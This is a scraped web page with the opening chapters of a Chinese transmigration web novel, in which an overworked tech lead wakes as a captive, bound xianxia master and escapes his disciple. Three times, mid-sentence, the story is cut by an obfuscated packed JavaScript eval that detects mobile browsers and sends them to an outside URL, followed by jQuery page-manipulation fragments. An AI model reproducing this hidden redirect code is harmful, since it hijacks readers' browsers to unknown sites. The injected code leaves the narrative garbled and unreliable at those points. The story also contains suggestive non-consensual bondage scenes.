《加班猝死,我成了海棠高危师尊》
1. 幽冥鬼里(上)
黑雾,白幡,纸灯笼。
红绳,金锁,鬼新娘。
谢因试图让自己接受眼前这一切,但很难。
他躺在一张满绣鸳鸯的婚床上,浑身上下衣不蔽体,被红绳捆得结结实实,面颊绯红,通体高热。
这红绳在他身上勒出意味不明的红痕,相当挑逗的八字绳结强迫他的双手绕到背后,只能被迫用赤裸的胸膛迎接鬼门冰冷的空气,红绳最后打结的位置卡得相当微妙……只要他微微一动,便牵一发而动全身。
一串金色的铃铛拷在他因不常见光而白皙如玉的脚腕上,绷出一条伶仃的弧度,微微一动,便发出一阵颤栗的响动,任谁看了都得说一句秀色可餐。
“这是全息游戏?”谢因方欲张嘴,可成型的句子还没出喉咙,竟扭转成了一句难以抑制的喘息声……
?!
谢因吓醒了。
不知为何,谢因只觉得现在的体温比新冠的时候还高,但他的脑子十二万分清楚,他在暧昧的铃铛声里尽力转头看了看四周的环境——这是一间作旧古风卧室,又小又破败,屋子正中摆着一张与这间屋子格格不入的淫.靡大红色婚床,透过呼呼漏风的破窗,谢因隐约能看到外面是一片暗色的荒芜。
显然,这并不会是什么智脑公司的全息游戏。
在大厂兢兢业业干了6年技术员的牛马谢因同志深谙,以目前国内的技术水平完全做不出那么身临其境的3A大作,并且……全息游戏做成R18,上架前整个组都会被抓起来的吧。
那这是哪儿?过劳加班后组员报复组长的新手段?
谢因拧眉,努力搜寻自己晕倒前的画面——
近年节、燕州市CBD区灯火通明,仿佛在榨取打工人假期年节前最后一点火光。
作为今年最不作妖的谢因小组年终奖到账20万,一整组掌声雷动、如蒙大赦,本应该春风得意一小下,一块聚个餐,宅家酒吧按摩spa奢侈一把——但电脑关机键都还没按下去,率先得到了经理和总监的夺命连环call。
“最佳小组嘛!中流砥柱嘛!”这两个逼人嘴里说着些一毛钱不值的客套话,皮笑肉不笑地把写着“精益求精”、“砥砺创新”的商务计划拍在了已经连轴转了72小时的谢因的办公桌上。
有心杀贼,无力回天,嘴边上的“日您大爷”被自诩消化器官良好的谢组长团吧团吧咽了下去,面无表情“好的收到”。
日料自助,酒吧鼓点,spa,按摩,全都变成了深夜办公室里哀怨的键盘声,朋友圈的红点里,经理和总监这一对天打雷劈的畜牲已经开始吉祥话轰炸和岁月静好小作文。
这策划案上批注的“狗屁不通”,不知是不是出自大老板之手,确实精辟,确实狗屁不通,这俩人怎么敢把这样的策划方案放在领导桌上的呢?
翌日清晨,谢因把写着“项目策划案35.0”的文档发送到经理钉钉,突然眼前一黑。
然后就到了这里?躺在这张满绣鸳鸯的婚床上,还被绑成这种恶趣味的样子?!
绑他干什么?他还能比资本家更招人恨?怎么不直接绑办公楼顶层的总裁啊!
就在此时,鸳鸯婚床突然发出吱呀响动,帐外白幡似察觉来人,像鬼影一般,欢欣鼓舞地游动起来。而后,谢因见到一个瘦削的身影向自己走来。
“唔呃……”
谢因想呼救,却只难耐地吐出一点呻.吟,听得他耳根一片赤红。他勉强支撑双目,一道白幡随风飞起,霎时挡住了谢因一探究竟的视线,而后,一根冰凉的手指将那缕白纱挑下,触碰到他的脸颊时,激得浑身滚烫的谢因抖了起来。
来人是有着一张极清隽的青年人的脸。
一点儿都不像假想敌里满脸横肉或贼眉鼠眼的犯罪分子。
但谢因也确定,这人不是自己组里的同事,更不是什么仇人,这人自己压根就不!认!识!啊!
年轻人一席及地黑袍,长发齐整高束脑后,比之形容狼狈的谢因堪称衣冠楚楚。他嘴角噙着一丝玩味笑意,似是对眼前的景致相当满意,恍惚间谢因听见他说:“师尊,事到如今,你不会还以为你可笑的自尊心能换来什么吧。”
谢因绝望闭目:“你……哪位啊……”
剧本杀狂热分子?臆想症coser?这个喷不了,这个是真神经病。
可这毕竟是目前看到的唯一一个活人,谢因试探性地望向对方,试图礼貌地搭话:“你好,如果我想出去,是不是要配合你演戏?”
好像有些角色扮演类的密室逃脱是这么玩儿的,尽管理智告诉他,这应该不单纯是一个游戏,谢组长只是乐观地还怀抱一丝幻想。
不知为何,听到他的这些话,青年的脸色一阵青白,缓缓靠近,双眼微眯,语气愈发阴戾危险:“不过是个千人骑万人睡的炉鼎,渡云真人不会真的觉得我和那些觊觎你身体的蠢货一样吃你这一套吧?”
哪一套?他干什么了?呼吸?
青年人捏住自己下巴的动作,又在风暴瞬息变得几尽温柔,眼神和软:“乖,师尊,现在交出法宝,我就给你想要的。”
说着,他伸手拨开谢因颊边一缕被汗水浸透的长发,手指暧昧地抚过额角,不知为何,谢因竟然感觉到自己的身体下意识地配合他的手靠了过去,此时周围的一切像是被按了某种暂停键一般,对方不动了。
这又是哪一出!放碟卡带了?
几秒后,一道全息屏一样的幕布在谢因面前缓缓展开,或许是因为信号不好,屏幕发生了一阵又一阵雪花频闪,而后,谢因眼前缓缓出现一行字。
「宿主您好,恭喜您绑定穿越管理系统,欢迎来到修仙小说《仙堕》,请完成任务并通关,否则将永远无法回归现实世界。」
什么玩意?
他耳边这才传来一阵极为欢快的乐音,仔细听很像千禧年流行的彩铃,叮铃桄榔乱响一阵后,一个相当活泼的声音递了进来:“呼……终于链接上了,宿主您好,我是穿越管理局系统工号376,很高兴为您服务。”
谢因:很不高兴接听来电……不是,你又是谁啊?
“十分抱歉宿主迟到了二十分钟,我也是花了好大功夫才能跟您链接上,您还好吗?自由呼吸着吗?能听我做完一分钟情况介绍的口播吗?”
接二连三的复杂状况拷打着一个社畜的专业素养。谢因看过穿越文,但他作为生在红旗下长在春风里的唯物主义,比起“穿书”这种荒诞的设定,更确信自己应该是加班加疯了,连幻听的症状都出来了。
谢因面无表情询问:“你好,请问我是被眼前这个神经病传染了吗?”
这年轻人的手就这么悬在他耳边,失焦的瞳孔倒映他如今狼狈的面容。
“哦不是的,眼前这位是您座下唯一弟子,名叫萧循,他现在只是疯了,并不是神经病,而且据我所知神经病大多由遗传导致,不传染哒!”
376号完全没在意谢因想不想听,从善如流地开始自己的口播,“您现在所在的世界,是一本仙侠……小说《仙堕》,您的原身渡云真人,本是当今仙界最厉害的仙者之一,带着小徒弟萧循一路打怪升级,跻身神坛。但因为……呃,一些原因,时空链接紊乱,您穿越到了故事的末尾,您的徒弟萧循因为剧情崩坏而全面黑化,要跟这个世界玩个九族消消乐,还要对你强取豪夺囚禁虐待,攻略难度SSS+……”
谢因打断他:“你说我是当今仙界最厉害的仙者之一?”
设定纵然很是荒谬,但376号的语气却十分轻快:“是哒!仙界守护着本书的众界生灵,而原身渡云真人更是如出水芙蓉、云巅玉兰般清冷的谪仙之人呢。”
“那为什么……”谢因艰难地动了动被红绳捆住的肩膀,又带起一串暧昧不明的铃铛声,听得人心头直痒,“为什么我现在会是这种形象?”
“啊,这个嘛……”对面的376号显然是沉默了一下,过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809954|175186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了好久才十分难以启齿地说,“因为宿主您穿的这本小说《仙堕》,是一篇篁.文啊。”
376号将自己的语气调到一个极为“正经”的频道:“本书的一句话简介:渡云真人1vN,六界第一美人,炉鼎体质,纯pwp,有重口,野外,N/P,dirty talk描写,不洁,慎入……”
“可以了停,”终于意识到破文究竟为何物的谢因崩溃地打断他,“我没有很想听。”
“啊哈哈,宿主你也别太灰心了,”376号很会找补,语速飞快地接着说,“比起穿到生子文和人.兽.虫族N.P文的那些人来说,这种还算比较传统的设定已经很清水了。”
……谢因一个字也没听进去。
他头痛欲裂地思考着这个颠三倒四的倒霉系统吐出来的荒唐信息,猝死、穿书、小/篁/书,诡异,太诡异了。
“你说你是系统……”他勉强扔掉大脑和自己的唯物主义,从学生时代的记忆里捡拾一些关于穿越小说的基本常识,“系统的权限应该很高吧,能帮我离开这个鬼地方吗?”
“呃,对不起,办不到。”
“那我总有什么任务吧?一般完成了新手任务就能走下一个剧情离开这里了对不对?“
376号沉默了一下,似乎是有些难以启齿:“基本逻辑是这样的,但是宿主你现在穿到的是小说结尾,任务线已全部走完,一切都已无法改变,只能顺应天命……”
上班这些年见过那么多牛鬼蛇神的谢因终于愤怒了:“你是来给我下病危通知书的?你也说了这个攻略难度是SSS+,你的工作职责不会是放任穿越者进来送死吧。关键事件节点、任务道具什么都没有了?”
“啊对!道具!”对面像是被提醒,声音陡然拔高,“有一个的,除非你能用原身的法宝「因果」逆转时空,回到过去,说不定还有一线生机!”
算你还有个好消息。谢因想起刚才那个年轻人对自己说的话,似乎这什劳子“法宝”就在自己身上,环顾四周,“在哪儿?”
这次对面沉默的时间有点长:“「因果」是上古神器,逆写既往,裁定将来。很久以前就碎成八瓣儿了……原身游历六界寻找,还差一片碎片,至今没修好。”
说着,376号似乎是怕被谢因骂,飞快地补了一句:“但我一定会和宿主您一起想办法的!虽然我只是实习生法宝库权限不高但是你先顶一顶我找到办法就来救你!”
而后在一段快速的书本翻页声里,飞快地掉线了……
现找啊?!
随着系统掉线,谢因这边被静止的时间也缓缓游动起来,青年人……萧循的手指轻轻扫过谢因的眼睛、睫毛,顺着脖子已经摸到锁骨,像一条鬼魅的小蛇。
不是!谢因脑内警铃大作,总不能自己刚到这地方就被……那啥了吧!浑身紧绷的谢因随着萧循逐渐下移的手指开始极为快速地头脑风暴——拖延时间。
法宝没修好,剧情无法更改,只能寄希望于那个不靠谱的376号找到关键线索……可怎么拖延时间?
谢因迅速检索自己饱受风刀霜剑严相逼的无趣知识库,从十丈软尘到莺歌燕舞,从苦海无边到青年干部,法宝,对,萧循他刚刚说让他乖乖交出法宝,就给自己想要的。
「因果」,可这玩意儿长什么样,是概念还是实体,是长的还是扁的?
不能露馅,万一被这神经病一刀杀了……既然如此,不如编一个新的法宝,混淆视听拖住他?
谢因来不及细想,仙侠文里神君仙尊一般有什么法宝来着……他越想越乱,修仙小说他倒看过一两本,可谁没事闲得照背啊!
那他背过什么书?有“法宝”的,能震慑住对方的……
就在萧循冰冷的手顺着谢因的衣角向下摸去,几乎就要与束成三角的红绳交汇时,谢因突然仿佛被什么鼓舞了似的,微抬长睫,勉力开口:“什么法宝?难道是……社会主义三大法宝?”
2. 幽冥鬼里(下)
萧循想要继续触碰他的手一顿,表情似有一丝冰裂。
社会主义?三大法宝?多日不见,难道师尊又进境了?可他明明——
好。无产阶级钢铁般的意志果然强大。谢因乘胜追击,绞尽脑汁回忆大学时期支部大会内容:“学生阶段多看点马列毛选是好事,看你年纪,正是做青年大学习的时候,连这么经典的思想都不内化还想一统六界?鉴于你刚才叫我一声老师,我也不想要这么文盲的学生,那你听好——”
“社会主义的三大法宝是,党的建设,统一战线,武装斗争。”
那人的动作顿住了,表情极其复杂。
但谢因视而不见,只一味地输出:“思政课没上过吧,看起来是没上过,强取豪夺来的法宝都不牢靠,不靠自己强大,难道靠列强逆向播种?那是殖民。我问你,社会主义核心价值观是哪二十四个字?《论持久战》预言了什么样的战场形势?这些太深刻了?那国庆是几月几号?你是行走的五十万吗?”
谢因仿佛听见有什么东西咔吧碎掉的声音。
年轻人抽回手,目光极其冷厉,谢因脊背发凉,觉得他这一套情绪转化可能是想要扑过来掐死自己,又被活生生忍了下去。
他似乎是一直在忍耐什么,包括对自己的“冒犯”,仿佛对自己下手是一件极为……不妥的事情。
虽然确实不妥吧。
“轰——”
随着一声巨响,谢因突然感到一阵强烈的地动山摇!整张床随着这一阵晃动,发出一阵极其刺耳的响声!
不多时,门外急切声音传来:“魔主!有人擅闯结界!”
萧循侧身向窗外看了一眼,脸色凌然一变,最后相当“咬牙切齿”地看了谢因一眼,更像是想平复一下被“三大法宝”震慑住的神经。
“好好待着。”青年人淡淡留下一句,整个人飞快地离开,消失在暮色里。
谢因松了口气,社会主义好,社会主义真的好,不论何时何地何种境况都能摸索出一条独特且有效的对敌思路,哪怕是拖延时间呢?
“好好待着?哈?”谢因活动了一下脖子,不晓得现在这副尊荣像不像刚从地狱爬出来的女鬼,这小子做什么千秋大梦呢。
赤红色的东风吹醒了他昏昏沉沉的大脑,靠山山倒,靠人人跑,既然他真的来到了一个科学无法解释的世界,哪怕这个世界就是喂他来送死的,他也要先尽人事,再听天命。
376号系统还没回复他,但不能再等了,现在是逃跑的好时机。原主的身份虽然听起来很牛逼,可如今一点灵力用不出来,只能靠谢因自己,不知道是不是对应了那萧循所说的炉鼎。
“炉鼎是什么……”灵根?还是金丹?课外阅读量有限的谢因嘟哝。他动了动身子,绳子好像除了搞点情/趣外没有其他功能,金锁和铃铛只是样子好看,若非他现在身上绵软无力,口干舌燥,否则以他一个成年人的力气,也不至于如此无法应对。
那他要怎么逃出去呢?
谢因扫视殿内一圈,殿内被红烛映得灯火通明。而如此淫.靡的床帐边,竟然好端端挂着一把古琴,琴弦干净、琴身油亮,看起来是经常保养。
谢因只一眼就想起来,既然有琴,那么这里应该有那样东西才对。
……
萧循走得很急。
他本可以腾身而起,御风飞行,但他更喜欢用脚踏实地的方式施展他的威压,或许是为了显得稳重,或者掩饰他的动摇……
可恶,究竟什么是三大法宝。
萧循摸上腰间的佩刀——这是屋里床上那个人送给他的拜师礼,问天。
师尊曾说:“为师教你的仙法,是为了守护六界苍生,若你心思不纯、道心不修,用于邪魔外道,我便没有你这个徒弟。”
像是某种执拗,在幽冥鬼里,师尊教会他的那些仙法,他一个也未曾施展过,只有这把刀,陪他在晨昏不定的魔界里挨过一个又一个孤寂的夜。
“呵。”萧循自嘲般扯动嘴角,凝成一个教科书般的皮笑肉不笑。他走过之处,墨色鬼气四散开来,草木生灵快速枯萎,小鬼们看出魔主不爽,飞快跪下行礼,恨不能把头埋进土里。
萧循沉着脸,直直向刚才发出震天响动的地方走去——这几年,他的法力涨得飞快,又有上古魔刀加持,早已是魔界万人之上,罕逢敌手,就连扶摇的第一战神兰棹辞也被他斩于马下。他布下的结界,不论是修为比他高上千年的大妖,还是九天十地只存于书中记载的魔神,都难以靠近半分。
谁敢在他办正事的时候擅闯找死?
结界破碎的边缘是一道幽红的身影,萧循站定,仰面与他对上。
他从未见过这个人。
来人五官生得极精致,眉弓骨似乎比常人略高,下罥一双含笑的桃花眼,鼻梁高挺,青丝悬垂,哪怕在这暗无天日之地,照旧是难以蒙尘的明珠,光彩夺目,或者用宝石来形容更为恰当——层层叠叠的赤色华服仿佛流淌的血色,露出来的一截颈子洁白如月,浓郁的颜色衬得他愈发漂亮。
“确实是鬼地方,”那人的嗓音温和而多情,眸星淡淡落在萧循身上,原本应当颇多柔肠百转鸦青色眼睛却带了半分讥诮危险的锋芒,像在看个死人,“叫我好找。”
更加可怖的是,他只是微微抬手,原本只是破了个口子的结界竟如脆纸般簌簌落下!
萧循的脊背一阵发寒,这样可怕的对手,为何从未听说过?但他叱咤魔界多年,见过的牛鬼蛇神不知凡几,如今也稳得住:“何人找死!”
那人并未作答,眨眼之间凭空消失,一个呼吸的时间,来人已距他不过数尺,目光有如实质,仿佛冰冷的刀刃贴在颊边,令人不寒而栗。
与之不甚匹配的懒散喉音就这么落在萧循耳边:“听说,「因果」的主人在你手里,所以想向阁下借来一用。”
又是「因果」,师尊身上那件万人觊觎的法宝。
萧循一凛,淡漠道:“借来作甚?”
来人微笑,笑意不达眼角:“借来杀一杀。”
两人之间剑拔弩张的火药味骤然加剧,萧循怒而笑道:“哈,这个理由倒是新鲜。”
对面微微一哂:“看来谈不拢?”
萧循没有回答,手却已经按在了身侧的刀柄上:“想带走师尊?有本事杀了我,再谈不迟……”
一触即发的局面,掌中问天的刀锋在萧循法力斥控下震颤不休!
“轰——!”
二人背后的殿宇却在此时发出一阵剧烈爆炸的声音,巨大的热浪奔涌而出,仿佛有人掀飞了地板,又滑稽地像是在拙劣的劝架。
那是他安置
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809955|175186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
师尊的屋子,爆炸了?!
可师尊明明一点法术都用不出来了,怎么会,难道……
他的目光暗沉沉地扫过这位不速之客,调虎离山!
“阁下这样的人,也要循此偷鸡摸狗的手段。”
萧循按下佩刀,捏碎了手中黑玉龙佩,敕令众魔:“都给我把幽冥鬼里守好!擅入者、杀!”
群魔听令,上前缠住那人,而萧循飞也似的向殿内疾奔而去。
没注意身后那声悠长的叹息。
……
与此同时,被人惦记在心尖儿上的“师尊”谢因正在狼狈地逃命。
他手里还攥着自己从抽屉里找出来的一小把“救命稻草”——读大学那会儿,同寝室的兄弟找化工系的借过松香粉玩“控火术”给女朋友看,其实这玩意儿的原理就是粉尘爆炸,粉尘往火里一扬,窜起巨大又酷炫的的火浪——结果一不小心烧掉了学校后山半片芦苇荡,从此以后,谢因每次看到短视频平台上玩火的酷帅视频,都会想起自己悲催的千字检讨。
而松香粉的另一个作用就是保养琴弦,萧循看重那把琴,于是他随便一翻,便在床屉里发现了不少用来保养琴弦的松香粉。
谢因接触不到更远的火源,只能先用一根蜡烛烧断绳子,简单恢复一下手的行动能力,求生意志战胜他这岌岌可危的身体状况,被火舌撩伤了手臂一片,鲜血淋漓,狰狞万分,反而让他清醒了不少。
趁此良机,谢因飞快地将几支花烛扔到床上,魔界的木头房子也还是木头,就这么迅速燃烧起来,谢因计算着方位与出逃的时机,猛地将整整一罐松香粉丢进了火堆,顿时火光冲天,带起一串巨大的爆炸声。
万幸萧循轻敌,认定他这幅尊容拉不下老脸乱跑,给了他最后的一线生机。
实用主义者谢因,披着还未被火舌吞没的床单锦被从窗中落荒而逃,像一只巨大的鸳鸯火烈鸟。可尽管有锦被做缓冲,这一下还是险些让他摔散了架,谢因眉心抽动,忍了又忍,艰难地咬牙抬起了半边身子。
他不知道这是什么地方,四下昏蒙,不见天日。这荒原一样的地方没什么遮挡,萧循追上他恐怕也只是时间问题。
只能祈祷那个突然来找事的不速之客有点本事,能帮他多拖几分钟吧。
谢因的小腿刺骨地疼,却不敢停,一瘸一拐向远离殿宇的方向挪动,不过跑了几步,又一个不吃力跌跪在地。
这原身玻璃似的人,仿佛经不起一点摧折。
就在这时,他撞上了一双不疾不徐停在他面前的长靴。
谢因吃力地抬起眼睛,只见长靴之上,一件极为华丽的长袍缀在一个身形极为好看的青年人身上,来者嗓音温淡,又若有似无地掺上些许缱绻笑意。
“这样投怀送抱,果如传言所说,渡云真人是真‘菩萨’,渡众生、解人云。”
“只是不知……”他用靴尖轻轻抬起谢因的下颌,迫使狼狈的砧上鱼肉抬脸,素净一张脸,长睫如蝶、眼尾微红,散落的长发绸缎似的流淌,毫无保留地展示他的隐忍、屈辱和挣扎,“真人能否渡我的灾厄呢?”
谢因回应给这人的却是一片茫然的空白和深深的震撼。
此男发出了自穿越以来最难以置信的声音:“温……温叙?他们真跑到顶楼总裁办把你也绑来了?”
3. 各显神通
穿越坏,穿越使人神志不清,穿越使人摆不清位置。
见对方像萧循刚刚听到社会主义三大法宝一样——整个人木住了,谢因痛定思痛,觉得自己还是太不把领导当回事了。
“温总?”他再一次试探地开口,这次换了职称,“不好意思温总,不是故意,事态紧急……不过您也是穿来的吗?有没有系统跟你说话?”
对方并未作答,微微侧头,似是不解。
谢因觉得自己没有认错。
他大四毕业后就进了W.T温氏集团,在职六年半,而温叙是几年后被空降到公司的董事,是盘踞燕州CBD黄金地段的八十二层写字楼顶端的史矛革。
其实这个人距离谢因很远,在他的记忆里,凑成这位阴晴不定的“小温总”的,是顶楼总裁办单向玻璃那一边的模糊侧影,是项目汇报会上,董事会长桌的尽头传来的冷笑,是集团公司廊桥上专门有属于他的一条车道,迈巴赫的车身与谢因四处违章飞驰的小黄车擦肩而过。
其实谢因对最高管理层的组成只知皮毛,但W.T是家族企业,这是公开的秘密。温家像一只庞然大物笼罩燕州市中心,所涉领域四通八达,不仅能逼疯友商,还兼吃两道,多年屹立不倒,内部暗流涌动,而传说温叙是集团创始人不太待见的重孙子,又说他是因为离经叛道而被排挤经商天才。
温叙不只是这一家公司的董事,而这人似乎比自己还年轻。
人比人得死,货比货得扔。年轻有为又帅气多金作为前提,性格恶劣仿佛也算不得什么缺点。温叙就算无数次把P7到P10那两层办公室制造出的“数字垃圾”打回重做,并附赠一段刻薄极致又花样百出的嘲讽,集团内部对其仍然是马首是瞻、无一不从。
谢因对小温总没什么不好的印象。他甫一上任光速清掉一批裙带关系户,撤掉好几位不干实事还爱做文章的中年男领导,这些年来唯一没有骂过的就是谢因组,今年还给他们发了20万的年终奖——这也是他难得记住大领导名字的理由。
只是现在……
对方被他说得一怔,桃花眼微挑,蓦地勾起一个莫测的笑,总算染上些很合时宜的柔情:“渡云真人在说哪里的俚语,我倒有些听不明白。不过看这情势,我猜,仙尊是在向我求救吧。”
什么?
他,难道这个百分百还原温叙一张脸的人,是原住民,不是穿的?
真的会有这么巧的事情吗?
可是他也不认为温叙是个喜欢勾男人下巴的神经病。
还是用鞋子。
在“真的会死”的压迫下,不论眼前这人到底是不是自家领导,这张熟人的“亲切”脸孔仍然让谢因没由来的觉得安全。
于是谢因没动,乖顺地放软了语调,抿唇道:“能不能……帮帮我,有人要杀我。”
眼前这人嗤笑一声,露出一点“果然不出我所料”的表情:“渡云真人凭什么觉得我会帮你?凭你这张脸?”
他慢悠悠收回鞋尖,俯身,静静端详起谢因那张因逃命而狼狈的脸,高热的体温和新鲜伤口的失血让谢因有些失焦,贴在颊边的长发衬得他肤白如雪,又剔透又清澈的一双眼里仿佛还噙着泪,哦,是烧了手臂疼出来的。
可谢因只觉得眼前这人仿佛盯住了什么猎物,又像是透过他的这幅皮囊向更深处凝视。
这样的凝视太露骨,又太审视,不像在看一个活人,更像是一件待价而沽的货物。
谢因忽地哑了舌头,找回了一点原本的理智:“我确实一时拿不出什么值得上称的筹码。”
他勉力维持身形,叹了口气,拉开与温叙的距离,“如果您没有搭救的意思,我马上就走。”
不知是不是错觉,这句话说完,温叙的眼神里似乎多了些难以描述的颤动。
“啧,穿成这样能跑到哪儿去,就算离开了幽冥鬼里,也不过是掉到其他妖魔鬼怪的床上,”那人挥了挥手,目光落在谢因手臂的烧伤,他身上那件落地的暗红色长袍轻飘飘地盖在谢因身上,“还是说这才是渡云真人的本意?”
极为冶丽的颜色。清冷谪仙的底色仿佛被玫瑰攀援,有种堕入凡尘的漂亮。温叙似是被谢因这幅模样烫了一下,眼神闪动,扭头不再看他。
什么本意?谢因一头雾水,也不知这衣服被使了什么法术,一时间禁锢他的疼痛、高热散去不少,手指触摸衣料,便是一阵沁寒,令他很是舒爽,烧伤的手臂甚至都有些要恢复的架势。
难道是用这法袍短暂压制了自己的奇怪体质?
“来得好快啊。”
顺着温叙的话音,谢因再一次见到了把自己变成这幅尊容的始作俑者,萧循。
与在帐中高高在上时的游刃有余不同,此时的青年慌乱极了,衣衫甚至被大火燎烧过。他见到谢因,先是有惊无险地一喜,可“师尊”两个字还未出口,便见又是那位“不速之客”挡路,而谢因身上竟还裹着对方的长袍!
众魔拦不住他也不奇怪,只是他的师尊俨然一副心甘情愿被对方劫走的架势。
“师尊……哈哈哈哈,师尊……”萧循苦笑起来,他眼角带血,形容癫狂,却又给人几分孩子胡闹的意味,“你还是要选旁人,你终究……还是要背叛我!”
骇人的黑气自他身遭一并爆发,谢因忽觉脚下不稳,像无数细线牵动着自己的四肢,一股黑气猛地扑来,将他如傀儡一般卷起,不自觉地向萧循那一侧飘去。
黑气愈来愈浓,愈来愈紧,谢因被带至半空,只觉眼前模糊,几乎喘不上气,他试图挣扎,但根本于事无补,黑气几乎要将他整个吞没前,谢因下意识地向那人伸手——
“拜托,温总,救……唔……”
……
下一秒,刀锋一样的红色焰光在谢因身前爆发!无常的包容力瞬间吞噬萧循的黑气,谢因恍惚间,只见“小温总”笑眯眯地向侧挪了一步,微微抬手,根本没使力,便把谢因一整个“捞”了回来,身上的牵引感全然消失。
他不动声色地挡到谢因身前,极宽的肩膀,侧头:“看来渡云真人果然,很需要我。”
谢因站稳身形,望向“救命恩人”的眼睛——呼吸间,谢因下定了某种决心,“你刚才说,‘不知真人能否渡你的灾厄’,我对你有利用价值,是不是?”
对方思索一秒:“算是吧。”
“那……”谢因勉力看了萧循的方向一眼,“你打得过他吗。”
温叙听见这个问题,嘴角蓦地上扬:“轻而易举。”
“证明给我看,”于是谢因如溺水的人,抓住了眼前这片不知是否牢靠的浮萍:“救我,不论我身上有什么你要的东西,我和你走。”
不论如何,死马当活马医,老乡总比神经病靠谱。
也不知道这句话戳中了对方哪门子爽点,温叙眉梢一挑,暗红色雾气围拢过来,轻轻包裹住他与谢因,他煞有介事地冲萧循将谢因的话进行了一个高度概括:“萧魔主,你师尊说,他选我。”
这句话如一道惊雷,将萧循彻底激怒!天地为之色倾,风云同频变换,长刀问天被萧循震成七段,而从他背后升起的黑色雾气里裹着的另一把刀,却携风雷之势,应召而来。
“哦,居然唤出了这老家伙……”温叙全然没有被对方的大阵仗惊到,双手抱胸,还有心情向谢因科普,“这把刀有些来头,只有魔界之主才有资格驾驭它,可这么多年过去,魔界的主人换了好几茬,能够唤出它的,竟无一人。”
而如今,它悬在萧循身后,看不清本貌,一呼一吸间却有金红亮色亮纹闪动,如同活着一般。
“杀我何须用牛刀啊……”谢因面无表情看着原身的弟子发疯,淡淡吐槽,“这么牛逼的一把刀招呼过来,我应该什么都不用想就死透了吧。”
可温叙站在谢因跟前,并没有动,也没有躲,听到谢因的这句话,冷笑:“一般吧。”
言罢此人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809956|175186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不退反进,甚至都没有进入作战状态,只是懒懒抬手,凭空召出一把极为瘦长的“刀”,迎风而动,他温和地嘱咐了谢因一句,“别出去,危险。”
说着,他迈出那片红雾织成的“安全区”,转向萧循时语调仍是一副欠揍的懒相:“听说你是六界第一,今日便给我找点乐子吧。”
铮——
电光石火间,那大放厥词的“小温总”身体向前一闪,金鸣铿锵,金光与红光碰撞在一起,天空都被染成昏黄。半空中两道看不见人形的身影战成一团,像是神兵对撞时器灵的低吼。
萧循一步一步逼近,不断地释放更强大的魔力企图压制,可对方甚至只用了一只手,游刃有余地将对方的魔气一一回击,愈来愈强的魔气铺天盖地地向他涌去,却始终未沾染他的衣袍半分。
漫天红光,谢因一瞬间错愕,甚至有些怀疑自己的判断了。那被称为魔主的萧循满身魔气,却被对方压制地毫无反手之力,要么就是这个世界里魔主遍地走、仙尊贱如狗,否则这等战力崩坏会被读者喷出二里地吧。
那么,等他打赢,混在他身边等376号?
再怎么也不会比现在更倒霉了吧……
这个念头刚刚从他心中飞快地溜走,墨菲定律准时准点地送来了礼花。
那个消失的电子屏幕此时闪着故障的电花,彻底剥夺了谢因对这副身体的掌控权。
「警报!警报!警报!」
「宿主%^^存在的世界……%出现¥@#重大故障,修正,修正……」
天端金光一片,谢因不受控制地一步一步向后挪动,远离了红色雾气织就的“安全区”。
一步,两步……后退数十步。
等一下?376号上线了?为什么要让自己离开这里?“温总”是故障?还是萧循?
不对,不对,这不是穿越管理局的界面。
一阵风声响动,谢因突然感到身后一阵巨大的冲击和光热,耳畔堪堪捕捉到“温叙”一句极为慌乱的: “谢因!躲开!”
是我幻听了吗?但他来不及回头,也来不及真的做出反应。
碎裂虚空中刺过来的一把刀,已然贯穿了他的心口。
温热的血溅到谢因脸上,痛,立刻向四肢百骸席卷而来。
拼尽最后一丝力气,谢因也没有看清那把刀主人的模样,他只看到一抹幽红的影子飞快地向自己的方向来了。
原来非自然死亡的痛感会如此汹涌。
衣角落地烧成火原,天地四散皲裂,面上似乎有些湿意,奇怪……他在流泪吗?
是谁要杀他,这么大费周折。
他倒在了谁的怀里吗?
“谢因……学长,醒醒,谢因!”
……
谢因看见了一条河。
他记得很小的时候,阿嬷同他讲过许多吓唬小孩的故事,她说人死之后都会跨过一条河,这条河有长有短,有急有缓,你会在渡河时重新审视自己的一生,如果仍有牵挂,挂念之人会在河对岸最后见你一面,了却心愿,轮回转世。
这条河,名叫因果。
小因,你有什么牵挂呢?
牵挂么,明明还有很多。关节炎复发的老爹,嗷嗷待哺的妹妹,在医院躺成植物人的同窗好友,新年即将启动的项目书,还有公司楼下不知道能不能过冬的几只小猫,他买的加厚款猫窝还在物流中……
而此时,冥冥有人从高处垂落下来一声叹息,谢因看不清那个人,只能觑见一片绣银云纹的衣角。
“你与我,我与我,胜负未分。”
